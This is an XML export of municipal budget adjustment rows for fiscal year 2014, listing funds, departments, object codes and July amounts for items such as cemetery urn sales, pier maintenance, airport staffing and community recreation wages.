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<row _id="6882"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402810.0</object><object_description>URN SALES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-18450.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-18450.0</total></row>
<row _id="6883"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>556140.0</object><object_description>SOLD VAULTS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>38000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>38000.0</total></row>
<row _id="6884"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>75813.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>75813.0</total></row>
<row _id="6885"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7000.0</total></row>
<row _id="6886"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>577530.0</object><object_description>FARMERS' MKT EDUCATION PRGS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>13600.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13600.0</total></row>
<row _id="6887"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>154609.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>154609.0</total></row>
<row _id="6888"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-7230.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-7230.0</total></row>
<row _id="6889"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1249.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1249.0</total></row>
<row _id="6890"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8429.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8429.0</total></row>
<row _id="6891"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>522040.0</object><object_description>INSURANCE AND BONDS</object_description><category_code>860.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2626379.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2626379.0</total></row>
<row _id="6892"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1050.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1050.0</total></row>
<row _id="6893"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>660.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>660.0</total></row>
<row _id="6894"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>27904.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>27904.0</total></row>
<row _id="6895"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>840.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>840.0</total></row>
<row _id="6896"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>533240.0</object><object_description>PIER MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>401700.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>401700.0</total></row>
<row _id="6897"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>247313.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>247313.0</total></row>
<row _id="6898"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4551.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4551.0</total></row>
<row _id="6899"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>535.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>535.0</total></row>
<row _id="6900"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>533260.0</object><object_description>NON-AVIATION MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>90768.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>90768.0</total></row>
<row _id="6901"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3100.0</total></row>
<row _id="6902"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>199930.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>199930.0</total></row>
<row _id="6903"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>44</fund_id><fund_name>SCAQMD AB 2766 Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>407830.0</object><object_description>AQMD MSRC DISCRETIONARY FUNDS</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-149925.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-149925.0</total></row>
<row _id="6904"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>450000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>450000.0</total></row>
<row _id="6905"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>533210.0</object><object_description>BLDG OPER / CUST SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>20500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20500.0</total></row>
<row _id="6906"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7625.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7625.0</total></row>
<row _id="6907"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>680168.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>680168.0</total></row>
<row _id="6908"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2612.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2612.0</total></row>
<row _id="6909"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>408010.0</object><object_description>REVIEW OF PLANNING APPLICATION</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-12000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-12000.0</total></row>
<row _id="6910"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>408020.0</object><object_description>TRAFFIC CONTROL</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-2725.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2725.0</total></row>
<row _id="6911"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>400601.0</object><object_description>REVIEW OF PUBLIC ROW APPLICATI</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-103349.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-103349.0</total></row>
<row _id="6912"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>558</division_id><division_name>BEACH MAINTENANCE</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6913"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>558</division_id><division_name>BEACH MAINTENANCE</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6914"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>558</division_id><division_name>BEACH MAINTENANCE</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6915"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>579290.0</object><object_description>UTILITIES BILLING SERVICES</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>308479.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>308479.0</total></row>
<row _id="6916"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>579290.0</object><object_description>UTILITIES BILLING SERVICES</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>91055.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>91055.0</total></row>
<row _id="6917"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>404580.0</object><object_description>BAYSAVER FEES</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-90000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-90000.0</total></row>
<row _id="6918"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>533680.0</object><object_description>CONF / MTGS / TRAVEL -</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4165.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4165.0</total></row>
<row _id="6919"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>410882.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>410882.0</total></row>
<row _id="6920"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5714.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5714.0</total></row>
<row _id="6921"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2883.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2883.0</total></row>
<row _id="6922"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>891.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>891.0</total></row>
<row _id="6923"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1909.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1909.0</total></row>
<row _id="6924"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4400.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4400.0</total></row>
<row _id="6925"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="6926"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>776261.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>776261.0</total></row>
<row _id="6927"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1807.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1807.0</total></row>
<row _id="6928"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7126.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7126.0</total></row>
